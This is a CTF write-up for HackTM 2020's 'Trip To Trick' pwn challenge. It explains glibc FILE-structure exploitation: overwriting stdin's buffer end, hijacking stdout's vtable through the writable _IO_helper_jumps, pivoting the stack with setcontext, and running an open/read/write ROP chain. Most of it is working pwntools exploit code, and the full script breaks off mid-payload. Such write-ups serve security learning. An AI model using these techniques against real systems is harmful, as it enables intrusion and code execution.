[Pwn] HackTM 2020 - Trip To Trick

Trip To Trick

Description:
492 Points

Author:
NextLine
Flag Path: /home/pwn/flag

nc 138.68.67.161 20006

trip_to_trick

c6fd4ef7c34c528668edd62914a79602

libc.so.6

2fb0d6800d4d79ffdc7a388d7fe6aea0

TLDR

  • Set _IO_2_1_stdin_->file->_IO_BUF_END = STDIN+0x2000
  • Next scanf will have full control of IO_FILE structures
  • STDOUT->vtable = _IO_helper_jumps & STDOUT->flags=0x0 to bypass vtable checker and mprotect of _IO_file_jumps
  • In libc-2.29 vtables are writeable again so we can control rip by changing the value of _IO_helper_jumps->__finish
  • Set _IO_helper_jumps->__finish=setcontext+0x35 to obtain stack pivot.
  • Construct a ropchain to open/read/print the file

Challenge

I didn’t solve this challenge during ctf time, but I spent a lot of time trying to do it, perhaps in the end I had the opportunity to speak with a guy who solved named stan from discord which told me his solution.

I eventually ended up implementing it, I learned a lot of new things about the IO_FILE struct, huge thanks to him for leading me into the right path in this challenge.

Information extraction

File

1
2
$ file trip_to_trick
trip_to_trick: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9ba40c68c917a91e11558eceaffd3e006531a6d9, for GNU/Linux 3.2.0, not stripped

Security

1
2
3
4
5
6
7
$ checksec trip_to_trick
[*] '/ctf/work/pwn/TripToTrick/trip_to_trick'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Static analysis

Main function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v4; // [rsp+18h] [rbp-18h]
__int64 v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
v5 = 0LL;
sandbox(argc, argv, envp);
nohack();
main_init(argc);
printf("gift : %p\n", &system);
printf("1 : ");
__isoc99_scanf("%llx %llx", &v4, &v5);
*v4 = v5;
printf("2 : ");
__isoc99_scanf("%llx %llx", &v4, &v5);
*v4 = v5;
fclose(stdout);
fclose(stdin);
fclose(stderr);
return 0;
}

There’s not much in the main from it we can get:

  • free libc leak
  • two arbitrary writes (scanfs)
  • fclose(stdout), fclose(stdin) and fclose(stderr) (important for the exploit).

sandbox function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
if ( !v1 )
{
puts("seccomp error");
exit(0);
}
seccomp_rule_add(v1, 2147418112LL, 15LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 3LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 10LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 9LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 12LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL);
if ( (int)seccomp_load(v1) < 0 )
{
seccomp_release(v1);
puts("seccomp error");
exit(0);
}
return seccomp_release(v1);
}

The author uses seccomp to only allow a few syscalls:

1
2
3
4
5
6
7
8
9
10
sym.imp.seccomp_rule_add(iVar2, 0x7fff0000, 0xf, 0); # SCMP_ACT_ALLOW  sys_rt_sigreturn
sym.imp.seccomp_rule_add(iVar2, 0x7fff0000, 3, 0); # sys_close
sym.imp.seccomp_rule_add(iVar2, 0x7fff0000, 10, 0); # sys_mprotect
sym.imp.seccomp_rule_add(iVar2, 0x7fff0000, 9, 0); # sys_mmap
sym.imp.seccomp_rule_add(iVar2, 0x7fff0000, 0xc, 0); # sys_brk
sym.imp.seccomp_rule_add(iVar2, 0x7fff0000, 2, 0); # sys_open
sym.imp.seccomp_rule_add(iVar2, 0x7fff0000, 0, 0); # sys_read
sym.imp.seccomp_rule_add(iVar2, 0x7fff0000, 1, 0); # sys_write
sym.imp.seccomp_rule_add(iVar2, 0x7fff0000, 0x3c, 0); # sys_exit
sym.imp.seccomp_rule_add(iVar2, 0x7fff0000, 0xe7, 0); # sys_exit_group

So we don’t have execve syscall so we can’t get a proper shell, but we still have sys_write,sys_read,sys_write which can be used to read the flag file from a path location.

nohack function

1
2
3
4
5
6
7
8
9
int nohack()
{
if ( ((_WORD)stdout + 2208) & 0xFFF )
{
puts("mprotect error");
exit(1);
}
return mprotect(&stdout[10]._IO_write_end, 0x700uLL, 1);
}

In libc-2.29 the permissions to write in vtables are enabled so the author decided to make them read only but he did a mistake in setting the ranges, he missed a couple of tables:

Blocked vtables from the author:

  • _IO_wfile_jumps_mmap
  • _IO_wfile_jumps
  • _IO_wmem_jumps
  • _IO_mem_jumps
  • _IO_strn_jumps
  • _IO_obstack_jumps
  • _IO_file_jumps_maybe_mmap
  • _IO_file_jumps_mmap
  • _IO_file_jumps
  • _IO_str_jumps

Unblocked vtables:

  • _IO_helper_jumps
  • _IO_cookie_jumps
  • _IO_proc_jumps
  • _IO_str_chk_jumps
  • _IO_wstrn_jumps
  • _IO_wfile_jumps_maybe_mmap

Because of this the only thing we need to do is to change the vtable pointer into one of the writeable vtables to get control of rip.

Get arbitrary write with “unlimited” input

First thing we notice is that we have two very limited arbitrary writes with a max size of long long and we can only change two locations in memory.

This is the uninitialised _IO_2_1_stdin_:

What happens next depends on setvbuf option:

1
2
3
4
5
6
int main_init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 2, 0LL);
}

From here we know the option used is _IONBF which means “No buffering” the buffer is not used. Each I/O operation is written as soon as possible. This a usual thing in ctfs to disable buffering of stdout, stdin and stderr and this time is very handy for us because instead of allocating a new buffer on the heap, the limits of _IO_buf_base and _IO_buf_end will be defined with pointers within stdin where _IO_buf_end-_IO_buf_base = 1 saving only 1 character which will be the end line character (‘\n’ or ‘’ depends on the input).

Here is the stdin after being initialized by setvbuf:

If we use the first scanf to increase the value of stdio->_IO_buf_end, instead of only controlling the _shortbuf field we will be able to control the contents of what comes next:

Also the libc source code can be found at:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) // sub must be positive
{
if (__underflow (fp) == EOF)
break;

continue;
}

/* These must be set before the sysread as we might longjmp out
waiting for input. */
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
_IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);

/* Try to maintain alignment: read a whole number of blocks. */
count = want;
if (fp->_IO_buf_base)
{
size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
if (block_size >= 128)
count -= want % block_size; // writing in blocks
}

count = _IO_SYSREAD (fp, s, count); // we want to reach here in order to complete the read

Much better images explaining the code above can be found in Angelboy slides.

Python code:

1
r.sendlineafter('1 : ', "%x %x" %(_IO_2_1_STDIN_+_IO_BUF_END,_IO_2_1_STDIN_+0x2000))

Filling the memory

From the initial plan we know we must change values on _IO_2_1_STDOUT->file->vtable, and values on the _IO_helper_jumps vtable but there will be a lot of values in the middle because we are overflowing everything from the very beginning, in this case from the stdin we can’t just fill everything with nulls and expect everything to run smoothly , obviously the program will break if we do that we need to keep an eye on the fields that contain mappable addresses.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
 _lock(1st) and _wide_data(2nd) and vtable(last) fields must have 
a valid mappable address preferable to the original ones(_lock).
^
0x7fb4561efa80 <_IO_2_1_stdin_+128>: 0x000000000a000000 |__ 0x00007fb4561f2590
0x7fb4561efa90 <_IO_2_1_stdin_+144>: 0xffffffffffffffff | 0x0000000000000000
0x7fb4561efaa0 <_IO_2_1_stdin_+160>: 0x00007fb4561efae0 _| 0x0000000000000000
0x7fb4561efab0 <_IO_2_1_stdin_+176>: 0x0000000000000000 | 0x0000000000000000
0x7fb4561efac0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff | 0x0000000000000000
0x7fb4561efad0 <_IO_2_1_stdin_+208>: 0x0000000000000000 |__ 0x00007fb4561f1560
0x7fb4561efae0 <_IO_wide_data_0>: 0x0000000000000000 0x0000000000000000
........
0x7fb4561efc10 <_IO_wide_data_0+304>: 0x00007fb4561f1020 0x0000000000000000
0x7fb4561efc20 <__memalign_hook>: 0x00007fb4560a4190 0x0000000000000000 -> Can be filled with 0s
0x7fb4561efc30 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7fb4561efc40 <main_arena>: 0x0000000000000000 0x0000000000000001-----------|
...... |-> Can be filled with 0s
0x7fb4561f04d0 <main_arena+2192>: 0x0000000000021000 0x00007fb4560a5a90---|
0x7fb4561f0520 <default_overflow_region>: 0x0000000000000000 0x0000000000000001 --|
0x7fb4561f0530 <default_overflow_region+16>: 0x0000000000000002 0x00007fb4561f32d8 |
0x7fb4561f0540 <default_overflow_region+32>: 0x0000000000000000 0xffffffffffffffff |
0x7fb4561f0550 <__libc_utmp_jump_table>: 0x00007fb4561ee6e0 0x00007fb4561c1e48 |-> must be filled
0x7fb4561f0560 <_nl_global_locale>: 0x00007fb4561ec580 0x00007fb4561ecac0 |with the correct
............... |values otherwise
0x7fb4561f0640 <_nl_global_locale+224>: 0x00007fb4561bc678 0x0000000000000000 ----------|page fault.
0x7fb4561f0650: 0x0000000000000000 0x0000000000000000
0x7fb4561f0660 <_IO_list_all>: 0x00007fb4561f0680 0x0000000000000000 --> Keep this too
0x7fb4561f0670: 0x0000000000000000 0x0000000000000000
0x7fb4561f0680 <_IO_2_1_stderr_>: 0x00000000fbad2087 0x00007fb4561f0703 --|->calculate the offsets
..... |from the libc_base to
0x7fb4561f0750 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007fb4561f1560 --|read original values
0x7fb4561f0760 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007fb4561f07e3 --|-> Everything remains the
.... --|same
0x7fb4561f0830 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007fb4561f1560 -> Change to _IO_helper_jumps
0x7fb4561f0840 <stderr>: 0x00007fb4561f0680 0x00007fb4561f0760--|-> Stays the same
0x7fb4561f0850 <stdin>: 0x00007fb4561efa00 0x00007fb456031e90----------|
0x7fb4561f0860 <__elf_set___libc_subfreeres_element_free_mem__>: 0x00007fb45619fdd0--|-> can be filled
... |with 0s.
0x7fb4561f0940 <__elf_set___libc_subfreeres_element_pw_map_free__>: 0x00007fb4561a1d10--|
0x7fb4561f0950: 0x0000000000000000 0x0000000000000000
|-> the address that will control RIP
0x7fb4561f0960 <_IO_helper_jumps>: 0x0000000000000000 | 0x0000000000000000
0x7fb4561f0970 <_IO_helper_jumps+16>: 0x00007fb45609ca70_| 0x00007fb45607f530
0x7fb4561f0980 <_IO_helper_jumps+32>: 0x00007fb45609c140 0x00007fb45609c150
0x7fb4561f0990 <_IO_helper_jumps+48>: 0x00007fb45609d7b0 0x00007fb45609c1b0
0x7fb4561f09a0 <_IO_helper_jumps+64>: 0x00007fb45609c3b0 0x00007fb45609cae0
0x7fb4561f09b0 <_IO_helper_jumps+80>: 0x00007fb45609c800 0x00007fb45609c6d0
0x7fb4561f09c0 <_IO_helper_jumps+96>: 0x00007fb45609ca60 0x00007fb45609c870
0x7fb4561f09d0 <_IO_helper_jumps+112>: 0x00007fb45609d910 0x00007fb45609d920
0x7fb4561f09e0 <_IO_helper_jumps+128>: 0x00007fb45609d8f0 0x00007fb45609ca60
0x7fb4561f09f0 <_IO_helper_jumps+144>: 0x00007fb45609d900 0x0000000000000000
0x7fb4561f0a00 <_IO_helper_jumps+160>: 0x0000000000000000 0x0000000000000000
...

Now in python, filling stdin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# STDIN+131
INPUT2 ='\x0a'+'\x00'*4# p64(_IO_STDFILE_0_LOCK)
INPUT2 += p64(_IO_STDFILE_0_LOCK)
INPUT2 += p64(-0x1, signed=True) # _offset
INPUT2 += p64(0x0) # _codecvt
INPUT2 += p64(_IO_WIDE_DATA_0) # _wide_data
INPUT2 += p64(0x0) # _freeres_list
INPUT2 += p64(0x0) # _freeres_buf
INPUT2 += p64(0x0) # __pad5
INPUT2 += p32(-0x1, signed=True) # _mode
INPUT2 += p32(0x0) # _unused2
INPUT2 += p64(0x0) # _unused2
INPUT2 += p64(0x0) # _unused2
INPUT2 += p64(_IO_FILE_JUMPS) # vtable"""
INPUT2 += p64(0x0)*19*2 + p64(LIBC+0x1bb020)+p64(0x0)
INPUT2 += p64(LIBC+libc.symbols['__memalign_hook']) # __memalign_hook
INPUT2 += p64(0x0)
INPUT2 += p64(0x0)+p64(0x0)

Filling from main_arena until the end of _nl_global_locale:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
INPUT2 += '\x00'*2208 # MAIN_ARENA
INPUT2 += p64(LIBC+0x896b0) + p64(0x0) # obstack_alloc_failed_handler
INPUT2 += p64(LIBC+0x185072)*2 # tzname
INPUT2 += p64(0)*4 # program_invocation_short_name
INPUT2 += p64(0)+p64(1)+p64(2)+p64(LIBC+0x1bd2d8)+p64(0)+p64(-0x1,signed=True) # default_overflow_region
INPUT2 += p64(LIBC)+p64(LIBC) # __libc_utmp_jump_table

# _nl_global_locale
OFFSETLIST = [1971584, 1972928, 1973056, 1975232, 1972480, 1972352, 0, 1974400, 1974496, 1974624, 1974816, 1974944, 1975040, 1680352, 1676512, 1678048, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 0]
for offset in OFFSETLIST:
if offset == 0:
INPUT2 += p64(0)
else:
INPUT2 += p64(LIBC+offset)
INPUT2 += p64(0)*2
INPUT2 += p64(_IO_LIST_ALL+0x20)+p64(0)*3 # IO_LIST_ALL

Filling stderr:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# STDERR
INPUT2 += p64(0xfbad2887) # _flags
INPUT2 += p64(_IO_2_1_STDERR_+131) # _IO_read_ptr
INPUT2 += p64(_IO_2_1_STDERR_+131) # _IO_read_end
INPUT2 += p64(_IO_2_1_STDERR_+131) # _IO_read_base
INPUT2 += p64(_IO_2_1_STDERR_+131) # _IO_write_base
INPUT2 += p64(_IO_2_1_STDERR_+131) # _IO_write_ptr
INPUT2 += p64(_IO_2_1_STDERR_+131) # _IO_write_end
INPUT2 += p64(_IO_2_1_STDERR_+131) # _IO_buf_base
INPUT2 += p64(_IO_2_1_STDERR_+132) # _IO_buf_end
INPUT2 += p64(0x0) # _IO_save_base
INPUT2 += p64(0x0) # _IO_backup_base
INPUT2 += p64(0x0) # _IO_save_end
INPUT2 += p64(0x0) # _markers
INPUT2 += p64(_IO_2_1_STDOUT_) # _chain
INPUT2 += p32(0x0) # _fileno
INPUT2 += p32(0x0) # _flags2
INPUT2 += p64(-0x1, signed=True) # _old_offset
INPUT2 += p16(0x0) # _cur_column
INPUT2 += p8(0x0) # _vtable_offset
INPUT2 += p8(0x0) # _shortbuf
INPUT2 += p32(0x0) # _shortbuf
INPUT2 += p64(_IO_STDFILE_2_LOCK) # _lock
INPUT2 += p64(-0x1, signed=True) # _offset
INPUT2 += p64(0x0) # _codecvt
INPUT2 += p64(_IO_WIDE_DATA_2) # _wide_data
INPUT2 += p64(0x0) # _freeres_list
INPUT2 += p64(0x0) # _freeres_buf
INPUT2 += p64(0x0) # __pad5
INPUT2 += p32(-0x1, signed=True) # _mode
INPUT2 += p32(0x0) # _unused2
INPUT2 += p64(0x0) # _unused2
INPUT2 += p64(0x0) # _unused2
INPUT2 += p64(_IO_FILE_JUMPS) # vtable

Changing stdout vtable from _IO_file_jumps to _IO_helper_jumps to bypass the mprotect call:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# STDOUT
INPUT2 += p64(0x0) # _flags
INPUT2 += p64(_IO_2_1_STDOUT_+131) # _IO_read_ptr
INPUT2 += p64(_IO_2_1_STDOUT_+131) # _IO_read_end
INPUT2 += p64(_IO_2_1_STDOUT_+131) # _IO_read_base
INPUT2 += p64(_IO_2_1_STDOUT_+131) # _IO_write_base
INPUT2 += p64(_IO_2_1_STDOUT_+131) # _IO_write_ptr
INPUT2 += p64(_IO_2_1_STDOUT_+131) # _IO_write_end
INPUT2 += p64(_IO_2_1_STDOUT_+131) # _IO_buf_base
INPUT2 += p64(_IO_2_1_STDOUT_+132) # _IO_buf_end
INPUT2 += p64(0x0) # _IO_save_base
INPUT2 += p64(0x0) # _IO_backup_base
INPUT2 += p64(0x0) # _IO_save_end
INPUT2 += p64(0x0) # _markers
INPUT2 += p64(_IO_2_1_STDIN_) # _chain
INPUT2 += p32(0x0) # _fileno
INPUT2 += p32(0x0) # _flags2
INPUT2 += p64(-0x1, signed=True) # _old_offset
INPUT2 += p16(0x0) # _cur_column
INPUT2 += p8(0x0) # _vtable_offset
INPUT2 += p8(0x0) # _shortbuf
INPUT2 += p32(0x0) # _shortbuf
INPUT2 += p64(_IO_STDFILE_1_LOCK) # _lock
INPUT2 += p64(-0x1, signed=True) # _offset
INPUT2 += p64(0x0) # _codecvt
INPUT2 += p64(_IO_WIDE_DATA_1) # _wide_data
INPUT2 += p64(0x0) # _freeres_list
INPUT2 += p64(0x0) # _freeres_buf
INPUT2 += p64(0x0) # __pad5
INPUT2 += p32(-0x1, signed=True) # _mode
INPUT2 += p32(0x0) # _unused2
INPUT2 += p64(0x0) # _unused2
INPUT2 += p64(0x0) # _unused2
INPUT2 += p64(_IO_HELPER_JUMPS) # vtable changed to _IO_HELPER_JUMPS

Filling the rest:

1
2
3
4
5
6
7
8
INPUT2 += p64(_IO_2_1_STDERR_) # stderr
INPUT2 += p64(_IO_2_1_STDOUT_) # stdout
INPUT2 += p64(_IO_2_1_STDIN_) # stdin
INPUT2 += p64(0)

#print(len(ROP_CHAIN))
INPUT2 += '\x00'*(0x1f*8) # __elf_set___libc_subfreeres
INPUT2 += p64(0)

Control Rip and stackpivot

We can control RIP by changing _finish from _IO_helper_jumps vtable:

And why? because fclose(stdout) will be executed in the main_function, and it uses pointers from the vtable.

Fclose closes a file stream, and releases the file pointer and related buffer, it will first call _IO_unlink_it to delink the specified FILE from the _chain list:

1
2
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);

After that will call the system interface to close it:

1
2
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);

Finally, the _IO_FINISH in the vtable is called, which corresponds to the _IO_file_finish function:

1
_IO_FINISH (fp);

Now that we control the rip we need a way to stack pivot, so lets first see the value of the registers when we jump to _IO_FINISH pointer by changing it into 0xdeadbeef:

1
2
3
4
# vtable IO_HELPER_JUMPS
INPUT2 += p64(0) _DUMMY1
INPUT2 += p64(0) _DUMMY2
INPUT2 += p64(0xdeadbeef) # _FINISH

GDB image on pagefault:

So what is exactly stack pivoting? Stacking pivoting is basically changing the stack pointer to point somewhere else, we want this because this time our ropchain won’t be located in the stack but in libc, if we don’t pivot when executing ret instructions we will just jump into values in the stack which is not what we want, there is a need to change the stack pointer to point into ropchain location.

We can control the contents of RDX, to use it we need to find something like mov rsp, qword ptr [rdx]; ret, a gadget like this can be found at setcontext+0x35:

So rdx is right at _IO_helper_jumps so we need to put the rop_chain at _IO_helper_jumps + 0xa0 because of the instruction mov rsp, qword ptr [rdx+0xa0];, by changing the stack pointer into the right libc address we can easily do the jumps:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
INPUT2 += p64(0)+p64(0)+p64(SETCONTEXT_SPITVOT) # _IO_helper_jumps STACKPIVOT SETCONTEXT
POPRAX = LIBC + 0x0000000000047cf8 # pop rax ; ret
POPRDI = LIBC + 0x0000000000026542 # pop rdi ; ret
POPRDX = LIBC + 0x000000000012bda6 # pop rdx ; ret
POPRSI = LIBC + 0x0000000000026f9e # pop rsi ; ret
SYSCALL = LIBC + 0x00000000000cf6c5 # syscall ; ret

FLAG_PATH = _IO_HELPER_JUMPS+0x178#LIBC+0x1baad8#+16*8
ROP_ADDR = _IO_HELPER_JUMPS+0xa8#LIBC+0x1baa08

ROP_CHAIN = p64(POPRAX)*2#p64(OPEN)
ROP_CHAIN += p64(2) + p64(POPRDI) + p64(FLAG_PATH) + p64(POPRSI) + p64(0) + p64(SYSCALL) # OPEN(file=flag_path) syscall == 2
ROP_CHAIN += p64(POPRAX) + p64(0) + p64(POPRDI) + p64(3) + p64(POPRSI) + p64(FLAG_PATH) + p64(POPRDX) + p64(0x49) +p64(SYSCALL) # READ(fd=3,buf=flag_path,nbytes=0x49) syscall == 0
ROP_CHAIN += p64(POPRAX) + p64(1) + p64(POPRDI) + p64(1) + p64(POPRSI) + p64(FLAG_PATH) + p64(POPRDX) + p64(0x49) +p64(SYSCALL) # WRITE(fd=1,buf=flag_path,nbyes=0x49) syscall == 1
ROP_CHAIN += "flag\x00"

INPUT2 += '\x00'*0x88+p64(ROP_ADDR)+ ROP_CHAIN #+ '\x00'*(190+7+3) + ROP_CHAIN#+ '\x00'*(0x90-0x88+0x8)+ p64(LIBC)

Again we can’t use execve but we can use open, read and write which is enought to solve the challenge. In the end we will be executing this:

1
2
3
fd= open('flag\x00', 'r') # fd will be equal to 3
read(fd, flag_path, 0x49)
write(1, flag_path, 0x49)

The reason why fd will be equal to 3 is because _IO_LIST_ALL contains a linked list of the filestreams, by default stdin,stdout and stderr are already loaded so the next is 3:

1
0(stdin)->1(stdout)->2(stderr)->3(newfd)

Full python code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
from pwn import *
host, port = "138.68.67.161", "20006"
filename = "./trip_to_trick"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc
else:
libc = ELF('./libc.so.6')

def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(r)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
gdb.attach(r,gdbscript=script)
context.terminal = ['tmux', 'new-window']
def exploit():
global r
r = getConn()
if not args.REMOTE and args.GDB:
debug([0x000014e2,0x000013ce])
r.recvuntil('gift : ')
SYSTEM = int(r.recvline().rstrip(),16)
LIBC = SYSTEM-libc.symbols['system']

_IO_BUF_BASE = 0x38
_IO_BUF_END = 0x40

_IO_2_1_STDIN_ = LIBC+libc.symbols['_IO_2_1_stdin_']
_IO_2_1_STDERR_ = LIBC+libc.symbols['_IO_2_1_stderr_']
_IO_2_1_STDOUT_ = LIBC+libc.symbols['_IO_2_1_stdout_']

_IO_FILE_JUMPS = LIBC+libc.symbols['_IO_file_jumps']
_IO_HELPER_JUMPS = _IO_2_1_STDIN_+0xf60

_IO_STDFILE_0_LOCK = _IO_2_1_STDIN_+0x2b90
_IO_WIDE_DATA_0 = _IO_2_1_STDIN_+0xe0

_IO_STDFILE_1_LOCK = _IO_2_1_STDOUT_+0x1e20
_IO_WIDE_DATA_1 = _IO_2_1_STDOUT_-0xea0

_IO_STDFILE_2_LOCK = _IO_2_1_STDERR_+0x1ef0
_IO_WIDE_DATA_2 = _IO_2_1_STDERR_-0xf00

_IO_LIST_ALL = LIBC+libc.symbols['_IO_list_all']
SETCONTEXT_SPITVOT = LIBC+libc.symbols['setcontext']+0x35

log.info("SYSTEM 0x%x" % SYSTEM)
log.info("LIBC 0x%x" % LIBC)

# STDIN+131
INPUT2 ='\x0a'+'\x00'*4# p64(_IO_STDFILE_0_LOCK)
INPUT2 += p64(_IO_STDFILE_0_LOCK)
INPUT2 += p64(-0x1, signed=True) # _offset
INPUT2 += p64(0x0) # _codecvt
INPUT2 += p64(_IO_WIDE_DATA_0) # _wide_data
INPUT2 += p64(0x0) # _freeres_list
INPUT2 += p64(0x0) # _freeres_buf
INPUT2 += p64(0x0) # __pad5
INPUT2 += p32(-0x1, signed=True) # _mode
INPUT2 += p32(0x0) # _unused2
INPUT2 += p64(0x0) # _unused2
INPUT2 += p64(0x0) # _unused2
INPUT2 += p64(_IO_FILE_JUMPS) # vtable"""
INPUT2 += p64(0x0)*19*2 + p64(LIBC+0x1bb020)+p64(0x0)
INPUT2 += p64(LIBC+libc.symbols['__memalign_hook']) # __memalign_hook
INPUT2 += p64(0x0)
INPUT2 += p64(0x0)+p64(0x0)

INPUT2 += '\x00'*2208 # MAIN_ARENA
INPUT2 += p64(LIBC+0x896b0) + p64(0x0) # obstack_alloc_failed_handler
INPUT2 += p64(LIBC+0x185072)*2 # tzname
INPUT2 += p64(0)*4 # program_invocation_short_name
INPUT2 += p64(0)+p64(1)+p64(2)+p64(LIBC+0x1bd2d8)+p64(0)+p64(-0x1,signed=True) # default_overflow_region
INPUT2 += p64(LIBC)+p64(LIBC) # __libc_utmp_jump_table

# _nl_global_locale
OFFSETLIST = [1971584, 1972928, 1973056, 1975232, 1972480, 1972352, 0, 1974400, 1974496, 1974624, 1974816, 1974944, 1975040, 1680352, 1676512, 1678048, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 1775224, 0]
for offset in OFFSETLIST:
if offset == 0:
INPUT2 += p64(0)
else:
INPUT2 += p64(LIBC+offset)
INPUT2 += p64(0)*2
INPUT2 += p64(_IO_LIST_ALL+0x20)+p64(0)*3 # IO_LIST_ALL

# STDERR
INPUT2 += p64(0xfbad2887) # _flags
INPUT2 += p64(_IO_2_1_STDERR_+131) # _IO_read_ptr
INPUT2 += p64(_IO_2_1_STDERR_+131) # _IO_read_end
INPUT2 += p64(_IO_2_1_STDERR_+131) # _IO_read_base
INPUT2 += p64(_IO_2_1_STDERR_+131) # _IO_write_base
INPUT2 += p64(_IO_2_1_STDERR_+131) # _IO_write_ptr
INPUT2 += p64(_IO_2_1_STDERR_+131) # _IO_write_end
INPUT2 += p64(_IO_2_1_STDERR_+131) # _IO_buf_base
INPUT2 += p64(_IO_2_1_STDERR_+132) # _IO_buf_end
INPUT2 += p64(0x0) # _IO_save_base
INPUT2 += p64(0x0) # _IO_backup_base
INPUT2 += p64(0x0) # _IO_save_end
INPUT2 += p64(0x0) # _markers
INPUT2 += p64(_IO_2_1_STDOUT_) # _chain
INPUT2 += p32(0x0) # _fileno
INPUT2 += p32(0x0) # _flags2
INPUT2 += p64(-0x1, signed=True) # _old_offset
INPUT2 += p16(0x0) # _cur_column
INPUT2 += p8(0x0) # _vtable_offset
INPUT2 += p8(0x0) # _shortbuf
INPUT2 += p32(0x0) # _shortbuf
INPUT2 += p64(_IO_STDFILE_2_LOCK) # _lock
INPUT2 += p64(-0x1, signed=True) # _offset
INPUT2 += p64(0x0) # _codecvt
INPUT2 += p64(_IO_WIDE_DATA_2) # _wide_data
INPUT2 += p64(0x0) # _freeres_list
INPUT2 += p64(0x0) # _freeres_buf
INPUT2 += p64(0x0) # __pad5
INPUT2 += p32(-0x1, signed=True) # _mode
INPUT2 += p32(0x0) # _unused2
INPUT2 += p64(0x0) # _unused2
INPUT2 += p64(0x0) # _unused2
INPUT2 += p64(_IO_FILE_JUMPS) # vtable

# STDOUT
INPUT2 += p64(0x0) # _flags
INPUT2 += p64(_IO_2_1_STDOUT_+131) # _IO_read_ptr
INPUT2 += p64(_IO_2_1_STDOUT_+131) # _IO_read_end
INPUT2 += p64(_IO_2_1_STDOUT_+131) # _IO_read_base
INPUT2 += p64(_IO_2_1_STDOUT_+131) # _IO_write_base
INPUT2 += p64(_IO_2_1_STDOUT_+131) # _IO_write_ptr
INPUT2 += p64(_IO_2_1_STDOUT_+131) # _IO_write_end
INPUT2 += p64(_IO_2_1_STDOUT_+131) # _IO_buf_base
INPUT2 += p64(_IO_2_1_STDOUT_+132) # _IO_buf_end
INPUT2 += p64(0x0) # _IO_save_base
INPUT2 += p64(0x0) # _IO_backup_base
INPUT2 += p64(0x0) # _IO_save_end
INPUT2 += p64(0x0) # _markers
INPUT2 += p64(_IO_2_1_STDIN_) # _chain
INPUT2 += p32(0x0) # _fileno
INPUT2 += p32(0x0) # _flags2
INPUT2 += p64(-0x1, signed=True) # _old_offset
INPUT2 += p16(0x0) # _cur_column
INPUT2 += p8(0x0) # _vtable_offset
